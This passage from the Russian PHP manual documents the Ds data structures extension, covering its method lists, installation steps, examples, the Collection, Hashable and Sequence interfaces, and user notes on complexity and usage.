    • Ds\Sequence::merge — Возвращает результат добавления всех заданных значений в коллекцию
    • Ds\Sequence::pop — Удаляет и возвращает последнее значение
    • Ds\Sequence::push — Добавляет значения в конец последовательности
    • Ds\Sequence::reduce — Схлопывает коллекцию до одного значения используя callback-функцию
    • Ds\Sequence::remove — Удаляет и возвращает значение по индексу
    • Ds\Sequence::reverse — Переворачивает текущую коллекцию
    • Ds\Sequence::reversed — Возвращает перевёрнутую копию коллекции
    • Ds\Sequence::rotate — Перематывает последовательность на заданное число значений
    • Ds\Sequence::set — Заменяет значение по указанному индексу
    • Ds\Sequence::shift — Удаляет и возвращает первое значение
    • Ds\Sequence::slice — Возвращает под-коллекцию из заданного диапазона
    • Ds\Sequence::sort — Сортирует коллекцию
    • Ds\Sequence::sorted — Возвращает отсортированную по значению копию коллекции
    • Ds\Sequence::sum — Возвращает сумму всех значений коллекции
    • Ds\Sequence::unshift — Добавляет значения в начало последовательности
  • Ds\Vector — Класс Vector
    • Ds\Vector::allocate — Выделяет память под указанную вместимость
    • Ds\Vector::apply — Обновляет все значения, применяя к ним переданную callback-функцию
    • Ds\Vector::capacity — Возвращает текущую вместимость
    • Ds\Vector::clear — Удаляет все значения
    • Ds\Vector::__construct — Создаёт новый экземпляр
    • Ds\Vector::contains — Проверяет, содержится ли в векторе заданные значения
    • Ds\Vector::copy — Возвращает поверхностную копию вектора
    • Ds\Vector::count — Возвращает количество элементов вектора
    • Ds\Vector::filter — Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции
    • Ds\Vector::find — Поиск индекса по значению
    • Ds\Vector::first — Возвращает первый элемент вектора
    • Ds\Vector::get — Возвращает значение по индексу
    • Ds\Vector::insert — Вставляет значения по указанному индексу
    • Ds\Vector::isEmpty — Проверяет, пуст ли вектор
    • Ds\Vector::join — Склеивает все значения в строку
    • Ds\Vector::jsonSerialize — Возвращает вектор в JSON-представлении
    • Ds\Vector::last — Возвращает последнее значение вектора
    • Ds\Vector::map — Возвращает результат применения callback-функции ко всем значениям вектора
    • Ds\Vector::merge — Возвращает результат добавления всех заданных значений в вектор
    • Ds\Vector::pop — Удаляет и возвращает последнее значение
    • Ds\Vector::push — Добавляет значения в конец вектора
    • Ds\Vector::reduce — Уменьшает вектор до одного значения, используя callback-функцию
    • Ds\Vector::remove — Удаляет и возвращает значение по индексу
    • Ds\Vector::reverse — Переворачивает текущий вектор
    • Ds\Vector::reversed — Возвращает перевёрнутую копию вектора
    • Ds\Vector::rotate — Перематывает вектор на заданное число значений
    • Ds\Vector::set — Заменяет значение по указанному индексу
    • Ds\Vector::shift — Удаляет и возвращает первое значение
    • Ds\Vector::slice — Возвращает подвектор из заданного диапазона
    • Ds\Vector::sort — Сортирует вектор
    • Ds\Vector::sorted — Возвращает отсортированную по значению копию коллекции
    • Ds\Vector::sum — Возвращает сумму всех значений коллекции
    • Ds\Vector::toArray — Преобразует коллекцию в массив (array)
    • Ds\Vector::unshift — Добавляет значения в начало вектора
  • Ds\Deque — Класс Deque
    • Ds\Deque::allocate — Выделяет память под указанную вместимость
    • Ds\Deque::apply — Обновляет все значения, применяя callback-функцию к каждому значению
    • Ds\Deque::capacity — Возвращает текущую вместимость
    • Ds\Deque::clear — Удаляет все значения из двухсторонней очереди
    • Ds\Deque::__construct — Создаёт новый экземпляр
    • Ds\Deque::contains — Проверяет, содержится ли в двухсторонней очереди заданные значения
    • Ds\Deque::copy — Возвращает поверхностную копию коллекции
    • Ds\Deque::count — Возвращает количество элементов двухсторонней очереди
    • Ds\Deque::filter — Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции
    • Ds\Deque::find — Поиск индекса по значению
    • Ds\Deque::first — Возвращает первый элемент двухсторонней очереди
    • Ds\Deque::get — Возвращает значение по индексу
    • Ds\Deque::insert — Вставляет значения по указанному индексу
    • Ds\Deque::isEmpty — Проверяет, пуста ли двухсторонняя очередь
    • Ds\Deque::join — Склеивает все значения в строку
    • Ds\Deque::jsonSerialize — Возвращает коллекцию в JSON-представлении
    • Ds\Deque::last — Возвращает последнее значение двухсторонней очереди
    • Ds\Deque::map — Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди
    • Ds\Deque::merge — Возвращает результат добавления всех заданных значений в двухстороннюю очередь
    • Ds\Deque::pop — Удаляет и возвращает последнее значение
    • Ds\Deque::push — Добавляет значения в конец двухсторонней очереди
    • Ds\Deque::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Deque::remove — Удаляет и возвращает значение по индексу
    • Ds\Deque::reverse — Переворачивает текущую двухстороннюю очередь
    • Ds\Deque::reversed — Возвращает перевёрнутую копию двухсторонней очереди
    • Ds\Deque::rotate — Перематывает двухстороннюю очередь на заданное число значений
    • Ds\Deque::set — Заменяет значение по указанному индексу
    • Ds\Deque::shift — Удаляет и возвращает первое значение
    • Ds\Deque::slice — Возвращает подочередь из заданного диапазона
    • Ds\Deque::sort — Сортирует двухстороннюю очередь
    • Ds\Deque::sorted — Возвращает отсортированную по значению копию двухсторонней очереди
    • Ds\Deque::sum — Возвращает сумму всех значений двухсторонней очереди
    • Ds\Deque::toArray — Преобразует двухстороннюю очередь в массив (array)
    • Ds\Deque::unshift — Добавляет значения в начало двухсторонней очереди
  • Ds\Map — Класс Map
    • Ds\Map::allocate — Выделяет необходимое количество памяти под требуемую вместимость
    • Ds\Map::apply — Обновление всех значений применением к ним переданной callback-функции
    • Ds\Map::capacity — Возвращает текущую вместимость
    • Ds\Map::clear — Удаляет все значения из коллекции
    • Ds\Map::__construct — Создаёт новый экземпляр
    • Ds\Map::copy — Возвращает поверхностную копию коллекции
    • Ds\Map::count — Возвращает количество элементов коллекции
    • Ds\Map::diff — Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар
    • Ds\Map::filter — Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции
    • Ds\Map::first — Возвращает первый элемент коллекции
    • Ds\Map::get — Возвращает значение по ключу
    • Ds\Map::hasKey — Проверяет, содержит ли коллекция заданный ключ
    • Ds\Map::hasValue — Проверяет, содержит ли коллекция заданное значение
    • Ds\Map::intersect — Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар
    • Ds\Map::isEmpty — Проверяет, пуста ли коллекция
    • Ds\Map::jsonSerialize — Возвращает коллекцию в JSON-представлении
    • Ds\Map::keys — Возвращает набор ключей коллекции
    • Ds\Map::ksort — Сортирует текущую коллекцию по ключам
    • Ds\Map::ksorted — Возвращает копию коллекции, отсортированной по ключам
    • Ds\Map::last — Возвращает последнюю пару коллекции
    • Ds\Map::map — Возвращает результат применения callback-функции ко всем значениям коллекции
    • Ds\Map::merge — Возвращает результат добавления всех заданных элементов в коллекцию
    • Ds\Map::pairs — Возвращает последовательность, содержащую все пары коллекции
    • Ds\Map::put — Установка значения по заданному ключу
    • Ds\Map::putAll — Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива
    • Ds\Map::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Map::remove — Удаляет и возвращает значение по ключу
    • Ds\Map::reverse — Переворачивает текущую коллекцию
    • Ds\Map::reversed — Возвращает перевёрнутую копию коллекции
    • Ds\Map::skip — Возвращает пару по индексу позиции
    • Ds\Map::slice — Возвращает подмножество коллекции из заданного диапазона
    • Ds\Map::sort — Сортирует коллекцию по значениям
    • Ds\Map::sorted — Возвращает отсортированную по значению копию коллекции
    • Ds\Map::sum — Возвращает сумму всех значений коллекции
    • Ds\Map::toArray — Преобразует коллекцию в array
    • Ds\Map::union — Создаёт новую коллекцию пар из элементов двух коллекций
    • Ds\Map::values — Возвращает последовательность значений коллекции
    • Ds\Map::xor — Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно
  • Ds\Pair — Класс Pair
    • Ds\Pair::clear — Удаляет все значения
    • Ds\Pair::__construct — Создаёт экземпляр класса
    • Ds\Pair::copy — Возвращает поверхностную копию пары
    • Ds\Pair::isEmpty — Проверяет, является ли пара пустой
    • Ds\Pair::jsonSerialize — Возвращает пару в представлении JSON
    • Ds\Pair::toArray — Преобразует пару в массив (array)
  • Ds\Set — Класс Set
    • Ds\Set::add — Добавляет значения в набор
    • Ds\Set::allocate — Выделяет память под указанную вместимость
    • Ds\Set::capacity — Возвращает текущую вместимость
    • Ds\Set::clear — Удаляет все значения из коллекции
    • Ds\Set::__construct — Создаёт новый экземпляр класса
    • Ds\Set::contains — Проверяет, содержится ли в коллекции заданные значения
    • Ds\Set::copy — Возвращает поверхностную копию коллекции
    • Ds\Set::count — Возвращает количество элементов коллекции
    • Ds\Set::diff — Создаёт новый набор с элементами, которых нет в другом наборе
    • Ds\Set::filter — Создаёт новый список из элементов, выбранных с помощью заданной callback-функции
    • Ds\Set::first — Возвращает первый элемент коллекции
    • Ds\Set::get — Возвращает значение по индексу
    • Ds\Set::intersect — Создаёт новый набор, созданный пересечением с другим набором
    • Ds\Set::isEmpty — Проверяет, пуста ли коллекция
    • Ds\Set::join — Склеивает все значения в строку
    • Ds\Set::jsonSerialize — Возвращает коллекцию в JSON-представлении
    • Ds\Set::last — Возвращает последнее значение коллекции
    • Ds\Set::merge — Возвращает результат добавления всех заданных значений в набор
    • Ds\Set::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Set::remove — Удаляет все заданные значения из набора
    • Ds\Set::reverse — Переворачивает текущую коллекцию
    • Ds\Set::reversed — Возвращает перевёрнутую копию коллекции
    • Ds\Set::slice — Возвращает поднабор из заданного диапазона
    • Ds\Set::sort — Сортирует коллекцию
    • Ds\Set::sorted — Возвращает отсортированную по значению копию коллекции
    • Ds\Set::sum — Возвращает сумму всех значений коллекции
    • Ds\Set::toArray — Преобразует коллекцию в массив (array)
    • Ds\Set::union — Создаёт новый набор из элементов текущего и переданного наборов
    • Ds\Set::xor — Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно
  • Ds\Stack — Класс Stack
    • Ds\Stack::allocate — Выделяет память под указанную вместимость
    • Ds\Stack::capacity — Возвращает текущую вместимость
    • Ds\Stack::clear — Удаляет все значения из коллекции
    • Ds\Stack::__construct — Создаёт новый экземпляр класса
    • Ds\Stack::copy — Возвращает поверхностную копию коллекции
    • Ds\Stack::count — Возвращает количество элементов коллекции
    • Ds\Stack::isEmpty — Проверяет, пуста ли коллекция
    • Ds\Stack::jsonSerialize — Возвращает коллекцию в JSON-представлении
    • Ds\Stack::peek — Возвращает значение с вершины стека
    • Ds\Stack::pop — Удаляет и возвращает значение с вершины стека
    • Ds\Stack::push — Добавляет значения в стек
    • Ds\Stack::toArray — Преобразует коллекцию в массив (array)
  • Ds\Queue — Класс Queue
    • Ds\Queue::allocate — Выделяет память под указанную вместимость
    • Ds\Queue::capacity — Возвращает текущую вместимость
    • Ds\Queue::clear — Удаляет все значения
    • Ds\Queue::__construct — Создаёт новый экземпляр
    • Ds\Queue::copy — Возвращает поверхностную копию очереди
    • Ds\Queue::count — Возвращает количество элементов очереди
    • Ds\Queue::isEmpty — Проверяет, пуста ли коллекция
    • Ds\Queue::jsonSerialize — Возвращает коллекцию в JSON-представлении
    • Ds\Queue::peek — Возвращает значение из начала очереди
    • Ds\Queue::pop — Удаляет и возвращает значение из начала очереди
    • Ds\Queue::push — Добавляет значения в очередь
    • Ds\Queue::toArray — Преобразует коллекцию в массив (array)
  • Ds\PriorityQueue — Класс PriorityQueue
    • Ds\PriorityQueue::allocate — Выделяет память под указанную вместимость
    • Ds\PriorityQueue::capacity — Возвращает текущую вместимость
    • Ds\PriorityQueue::clear — Удаляет все значения
    • Ds\PriorityQueue::__construct — Создаёт новый экземпляр
    • Ds\PriorityQueue::copy — Возвращает поверхностную копию очереди
    • Ds\PriorityQueue::count — Возвращает количество элементов в очереди
    • Ds\PriorityQueue::isEmpty — Проверяет, пуста ли коллекция
    • Ds\PriorityQueue::jsonSerialize — Возвращает коллекцию в JSON-представление
    • Ds\PriorityQueue::peek — Возвращает значение из начала очереди
    • Ds\PriorityQueue::pop — Удаляет и возвращает значение с наивысшим приоритетом
    • Ds\PriorityQueue::push — Добавляет значение в очередь
    • Ds\PriorityQueue::toArray — Преобразует очередь в массив (array)

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эффективные структуры данных для PHP 7, представленные как альтернативы для типа array.

Сравнения производительности, дискуссии и часто задаваемые вопросы смотрите в » этом посте в блоге.

User Contributed Notes

immemosol 07-Feb-2022 02:36
A summary of the namespace.

Known big O notations

ClassName     | add  | contains | get       | hasKey | insert | pop  | push | put  | remove | set  | shift | unshift |
Vector        | _    | ?        | O(1)      | _      | O(n)   | O(1) | O(1) | _    | O(n)   | O(1) | O(n)  | O(n)    |
Stack         | _    | _        | _         | _      | _      | ?    | _    | _    | _      | _    | _     | _       |
Set           | O(1) | O(1)     | O(n OR 1) | _      | _      | _    | _    | _    | O(1)   | _    | _     | _       |
Queue         | _    | _        | _         | _      | _      | ?    | ?    | _    | _      | _    | _     | _       |
PriorityQueue | _    | _        | _         | _      | _      | ?    | ?    | _    | _      | _    | _     | _       |
Map           | _    | _        | O(1)      | O(1)   | _      | _    | _    | O(1) | O(1)   | _    | _     | _       |
Deque         | _    | ?        | O(1)      | ?      | ?      | O(1) | O(1) | _    | ?      | O(1) | O(1)  | O(1)    |

? = method is available and big O is unknown.
_ = method is unavailable, although comparable behavior could be available
      For example: `$object[] = '';` as an alternative to `$object->push('');`.

Except for PriorityQueue, all other classes
(Deque, Map, Queue, Set, Stack, Vector) implement ArrayAccess,

Main:
- interface Sequence: Collection + ArrayAccess
- interface Collection: Traversable, Countable, JsonSerializable
- Vector: Sequential structure, low memory usage
- Stack: Destructive Iteration; LIFO (Last In, First Out)
    note: can only access the item at the top of the stack
- Set: Hashable, Unique Values
- Queue: Destructive Iteration; FIFO (First In, First Out)
    note: can only access the item at the front of the stack
- PriorityQueue: Destructive Iteration; FIFO + Priority
    Like Queue but priority determines order first, FIFO when equal priority
- Map: Hashable, Key Value Sequence (like array in comparable context)
    memory usage: like array, clears memory more often
    note: can use objects as keys, but that inhibits array conversion
- Deque: Double Ended Queue, low memory usage
    note: buffer capacity must be ^2 (a power of 2)

Supporting:
- interface Hashable: allows objects to be used as keys (`->hash()` & `->equals()`, falls back to `spl_object_hash()`)
- class Pair: JsonSerializable, Key Value Pair, used by Map
- and some more.


Требования

Требуется PHP 7, как для самого модуля, так и для полизаполнения.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Самый простой способ установки, через » PECL

pecl install ds

Также вы можете самостоятельно собрать его из исходников:

# Зависимости, которые, возможно, придётся установить
# sudo apt-get install git build-essential php7.0-dev

git clone https://github.com/php-ds/extension "php-ds"
cd php-ds

# Сборка и установка модуля
phpize
./configure
make
make install

# Очистка оставшихся артефактов
make clean
phpize --clean

Если вы используете Windows, вы можете загрузить » готовую библиотеку .dll из PECL

Замечание:

Если вы используете Composer, крайне рекомендуется включить » php-ds/php-ds в ваш проект, чтобы ваш код оставался рабочим, безотносительно того, установлен модуль или нет.

User Contributed Notes

og at crossmediapool dot at 12-Nov-2023 11:12
On Debian & ubuntu also avaliable via APT system:
ex: apt install php8.1-ds
sirolad at yahoo dot com 17-Mar-2017 03:54
You can install using brew install homebrew/php/php71-ds on macOs
yyb8 at vip dot qq dot com 12-Jan-2017 05:38
Note: please load this extension after json extension,otherwise can't   load this extension.


Примеры

Пример #1 Vector

<?php

$vector = new \Ds\Vector();

$vector->push('a');
$vector->push('b', 'c');

$vector[] = 'd';

print_r($vector);

?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

Пример #2 Map

<?php

$map = new \Ds\Map();

$map->put('a', 1);
$map->put('b', 2);

$map['c'] = 3;

print_r($map);

?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Collection

(PECL ds >= 1.0.0)

Введение

Collection - это базовый интерфейс, который покрывает функциональность общую для всех структур данных в этой библиотеке. Он гарантирует, что все структуры обходимы, счётный и могут быть преобразованы в JSON с помощью функции json_encode().

Обзор интерфейсов

interface Ds\Collection extends Countable, IteratorAggregate, JsonSerializable {
/* Методы */
public clear(): void
public copy(): Ds\Collection
public isEmpty(): bool
public toArray(): array
/* Наследуемые методы */
public Countable::count(): int
public IteratorAggregate::getIterator(): Traversable
public JsonSerializable::jsonSerialize(): mixed
}

Список изменений

Версия | Описание
PECL ds 1.4.0 | Класс Collection теперь реализует интерфейс IteratorAggregate вместо Traversable. (Это изменение появилось в полифиле в версии 1.4.1).

Содержание

  • Ds\Collection::clear — Удаляет все значения
  • Ds\Collection::copy — Возвращает копию коллекции
  • Ds\Collection::isEmpty — Проверяет, пуста ли коллекция
  • Ds\Collection::toArray — Преобразует коллекцию в массив (array)

User Contributed Notes

depakin at yisangwu dot com 25-Mar-2020 06:07
// Collection
   $collection_a = new \Ds\Vector([1, 2, 3]);
   $collection_b = new \Ds\Vector();

   var_dump($collection_a, $collection_b);
    /*
        object(Ds\Vector)[1]
        public 0 => int 1
        public 1 => int 2
        public 2 => int 3

        object(Ds\Vector)[2]
    */

   //json_encode
   var_dump( json_encode($collection_a));
    /*
    string '[1,2,3]
    */

    //count
   var_dump(count($collection_a));
    /*
    int 3
    */

    // serialize
    var_dump(serialize($collection_a));
    /*
    string 'C:9:"Ds\Vector":12:{i:1;i:2;i:3;}'
    */

    // foreach
    foreach ($collection_a as $key => $value) {
       echo $key ,'--', $value, PHP_EOL;
    }
    /*
       0--1
       1--2
       2--3
     */

    // clone
    $clone = clone($collection_a);
    var_dump($clone);
    /*
      object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

    // push
    $clone->push('aa');
    var_dump($clone);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => string 'aa' (length=2)
     */

   // isEmpty
   var_dump($collection_a->isEmpty(), $collection_b->isEmpty());
    /*
    boolean false
    boolean true
     */

   // toArray
   var_dump($collection_a->toArray(), $collection_b->toArray());
    /*
     array (size=3)
      0 => int 1
      1 => int 2
      2 => int 3

    array (size=0)
      empty
    */

   // copy ( void )
   //???, shallow copy
   $collection_c = $collection_a->copy();

   var_dump($collection_c);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

   $collection_c->push(4);
   var_dump($collection_a, $collection_c);
    /*
    object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3

    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => int 4
    */

    // clear
    $collection_a->clear();
    $collection_b->clear();
    $collection_c->clear();

    var_dump($collection_a, $collection_b, $collection_c);
    /*
    object(Ds\Vector)[1]
    object(Ds\Vector)[2]
    object(Ds\Vector)[3]
    */


Удаляет все значения

  • « Ds\Collection
  • Ds\Collection::copy »
  • PHP Manual
  • Ds\Collection
  • Удаляет все значения

Ds\Collection::clear

(PECL ds >= 1.0.0)

Ds\Collection::clear — Удаляет все значения

Описание

public Ds\Collection::clear(): void

Удаляет все значения из коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример Ds\Collection::clear()

<?php
$collection = new \Ds\Vector([1, 2, 3]);
print_r($collection);

$collection->clear();
print_r($collection);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает копию коллекции

  • « Ds\Collection::clear
  • Ds\Collection::isEmpty »
  • PHP Manual
  • Ds\Collection
  • Возвращает копию коллекции

Ds\Collection::copy

(PECL ds >= 1.0.0)

Ds\Collection::copy — Возвращает копию коллекции

Описание

public Ds\Collection::copy(): Ds\Collection

Возвращает копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает копию коллекции.

Примеры

Пример #1 Пример Ds\Collection::copy()

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\Collection::copy
  • Ds\Collection::toArray »
  • PHP Manual
  • Ds\Collection
  • Проверяет, пуста ли коллекция

Ds\Collection::isEmpty

(PECL ds >= 1.0.0)

Ds\Collection::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\Collection::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если коллекция пуста, и false в противном случае.

Примеры

Пример #1 Пример Ds\Collection::isEmpty()

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует коллекцию в массив (array)

  • « Ds\Collection::isEmpty
  • Ds\Hashable »
  • PHP Manual
  • Ds\Collection
  • Преобразует коллекцию в массив (array)

Ds\Collection::toArray

(PECL ds >= 1.0.0)

Ds\Collection::toArray — Преобразует коллекцию в массив (array)

Описание

public Ds\Collection::toArray(): array

Преобразует коллекцию в array.

Замечание:

Приведение к массиву (array) на данный момент не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции в том же порядке.

Примеры

Пример #1 Пример Ds\Collection::toArray()

<?php
$collection = new \Ds\Vector([1, 2, 3]);

var_dump($collection->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Hashable

(PECL ds >= 1.0.0)

Введение

Hashable - это интерфейс, который позволяет использовать объекты в качестве ключей. Это альтернатива функции spl_object_hash(), которая вычисляет хеш объекта в соответствии с его обработчиком: это значит, что два объекта могут быть одинаковы по своему состоянию, но не считаются одинаковыми из-за того, что являются разными экземплярами одного класса.

Функция hash() используется для вычисления скалярного значения, характеризующего хеш объекта и определяющего его положение в хеш-таблице. Хотя это значение необязательно должно быть уникальным, одинаковые объекты должны иметь одно и то же значение хеша.

Функция equals() используется для определения идентичности двух объектов. Она гарантирует, что два объекта являются одним и тем же экземпляром класса.

Обзор интерфейсов

interface Ds\Hashable {
/* Методы */
abstract public equals(object $obj): bool
abstract public hash(): mixed
}

Содержание

  • Ds\Hashable::equals — Определяет, равен ли текущий экземпляр переданному объекту
  • Ds\Hashable::hash — Возвращает скалярное значение для использования в качестве значения хеша

User Contributed Notes

There are no user contributed notes for this page.


Определяет, равен ли текущий экземпляр переданному объекту

  • « Ds\Hashable
  • Ds\Hashable::hash »
  • PHP Manual
  • Ds\Hashable
  • Определяет, равен ли текущий экземпляр переданному объекту

Ds\Hashable::equals

(PECL ds >= 1.0.0)

Ds\Hashable::equals — Определяет, равен ли текущий экземпляр переданному объекту

Описание

abstract public Ds\Hashable::equals(object $obj): bool

Определяет, являются ли текущий экземпляр эквивалентным переданному другому объекту.

Этот метод позволяет использовать объекты в качестве ключей в таких структурах, как Ds\Map и Ds\Set или любых других структурах, распознающих этот интерфейс.

Замечание:

Гарантирует, что obj является экземпляром того же класса.

Предостережение

Чтобы объекты считались идентичными, необходимо, чтобы у них был одинаковый хеш. Смотрите описание функции Ds\Hashable::hash().

Список параметров

obj

Объект для сравнения с текущим объектом.

Возвращаемые значения

true, если идентичны, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает скалярное значение для использования в качестве значения хеша

  • « Ds\Hashable::equals
  • Ds\Sequence »
  • PHP Manual
  • Ds\Hashable
  • Возвращает скалярное значение для использования в качестве значения хеша

Ds\Hashable::hash

(PECL ds >= 1.0.0)

Ds\Hashable::hash — Возвращает скалярное значение для использования в качестве значения хеша

Описание

abstract public Ds\Hashable::hash(): mixed

Возвращает скалярное значение, которое будет использоваться в качестве значение хеша объектов.

В то время как значение хеша само по себе не гарантирует идентичность объектов, но всё же все объекты, равные при проверке с помощью функции Ds\Hashable::equals(), должны иметь одно и то же значение хеша. Значение хешей для одинаковых объектов не обязаны быть уникальными, к примеру вы можете просто возвращать true для всех объектов и ничего не сломается. Единственным последствием будет то, что ваша хеш-таблица превратится в связанный список, потому что хеши всех объектов будут содержаться в одном блоке. Из этого следует, что важно выбирать хорошее значение хеша, например уникальный идентификатор или адрес электронной почты.

Этот метод позволяет использовать объекты в качестве ключей в таких структурах как Ds\Map и Ds\Set или любых других структурах, распознающих этот интерфейс.

Предостережение

Не выбираете значение, которое может измениться, например, из общедоступных свойств. Поиск в хеш-таблице завершится неудачей, если это значение изменится.

Предостережение

Все одинаковые объекты должны иметь одно и то же значение хеша.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Скалярное значение для использования как значение хеша.

Примеры

Пример #1 Пример использованияDs\Hashable::hash()

<?php
class HashableObject implements \Ds\Hashable
{
private $name;
private $email;

public function __construct($name, $email)
{
$this->name = $name;
$this->email = $email;
}

/**
* Должно возвращать одинаковое значение для всех объектов, которые
* должны считаться идентичными. Это значение не должно использоваться
* в простом сравнении для определения идентичности объектов.
*/
public function hash()
{
return $this->email;
}

/**
* Функция определения идентичности объектов. Обычно проверяют, что
* значения хешей обоих объектов совпадают. Но можно добавить
* дополнительные проверки.
*/
public function equals($obj): bool
{
return $this->name === $obj->name
&& $this->hash() === $obj->hash();
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Sequence

(PECL ds >= 1.0.0)

Введение

Последовательность описывает поведение, при котором значения распределены в одном, линейном порядке. В некоторых языках данное поведение описывается как "List". Это похоже на массив, в котором используются целочисленные ключи, за исключением нескольких моментов:

  • Значения всегда проиндексированы по порядку [0, 1, 2, ..., size - 1].
  • Можно обращаться только к значениям индексированным в диапазоне [0, size - 1].

В каких случаях используется:

  • Если вы хотите использовать массив, как список (не обращая внимания на ключи).
  • Более эффективная альтернатива для SplDoublyLinkedList и SplFixedArray.

Обзор интерфейсов

interface Ds\Sequence extends Ds\Collection, ArrayAccess {
/* Методы */
abstract public allocate(int $capacity): void
abstract public apply(callable $callback): void
abstract public capacity(): int
abstract public contains(mixed ...$values): bool
abstract public filter(callable $callback = ?): Ds\Sequence
abstract public find(mixed $value): mixed
abstract public first(): mixed
abstract public get(int $index): mixed
abstract public insert(int $index, mixed ...$values): void
abstract public join(string $glue = ?): string
abstract public last(): mixed
abstract public map(callable $callback): Ds\Sequence
abstract public merge(mixed $values): Ds\Sequence
abstract public pop(): mixed
abstract public push(mixed ...$values): void
abstract public reduce(callable $callback, mixed $initial = ?): mixed
abstract public remove(int $index): mixed
abstract public reverse(): void
abstract public reversed(): Ds\Sequence
abstract public rotate(int $rotations): void
abstract public set(int $index, mixed $value): void
abstract public shift(): mixed
abstract public slice(int $index, int $length = ?): Ds\Sequence
abstract public sort(callable $comparator = ?): void
abstract public sorted(callable $comparator = ?): Ds\Sequence
abstract public sum(): int|float
abstract public unshift(mixed $values = ?): void
/* Наследуемые методы */
public Ds\Collection::clear(): void
public Ds\Collection::copy(): Ds\Collection
public Ds\Collection::isEmpty(): bool
public Ds\Collection::toArray(): array
public Countable::count(): int
public IteratorAggregate::getIterator(): Traversable
public JsonSerializable::jsonSerialize(): mixed
public ArrayAccess::offsetExists(mixed $offset): bool
public ArrayAccess::offsetGet(mixed $offset): mixed
public ArrayAccess::offsetSet(mixed $offset, mixed $value): void
public ArrayAccess::offsetUnset(mixed $offset): void
}

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Sequence::allocate — Выделение памяти под указанную вместимость
  • Ds\Sequence::apply — Обновление всех значений применением к ним переданной callback-функции
  • Ds\Sequence::capacity — Возвращает текущую вместимость
  • Ds\Sequence::contains — Проверяет, содержатся ли в коллекции заданные значения
  • Ds\Sequence::filter — Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции
  • Ds\Sequence::find — Поиск индекса по значению
  • Ds\Sequence::first — Возвращает первый элемент коллекции
  • Ds\Sequence::get — Возвращает значение по индексу
  • Ds\Sequence::insert — Вставляет значения по указанному индексу
  • Ds\Sequence::join — Склеивает все значения в строку
  • Ds\Sequence::last — Возвращает последнее значение коллекции
  • Ds\Sequence::map — Возвращает результат применения callback-функции ко всем значениям коллекции
  • Ds\Sequence::merge — Возвращает результат добавления всех заданных значений в коллекцию
  • Ds\Sequence::pop — Удаляет и возвращает последнее значение
  • Ds\Sequence::push — Добавляет значения в конец последовательности
  • Ds\Sequence::reduce — Схлопывает коллекцию до одного значения используя callback-функцию
  • Ds\Sequence::remove — Удаляет и возвращает значение по индексу
  • Ds\Sequence::reverse — Переворачивает текущую коллекцию
  • Ds\Sequence::reversed — Возвращает перевёрнутую копию коллекции
  • Ds\Sequence::rotate — Перематывает последовательность на заданное число значений
  • Ds\Sequence::set — Заменяет значение по указанному индексу
  • Ds\Sequence::shift — Удаляет и возвращает первое значение
  • Ds\Sequence::slice — Возвращает под-коллекцию из заданного диапазона
  • Ds\Sequence::sort — Сортирует коллекцию
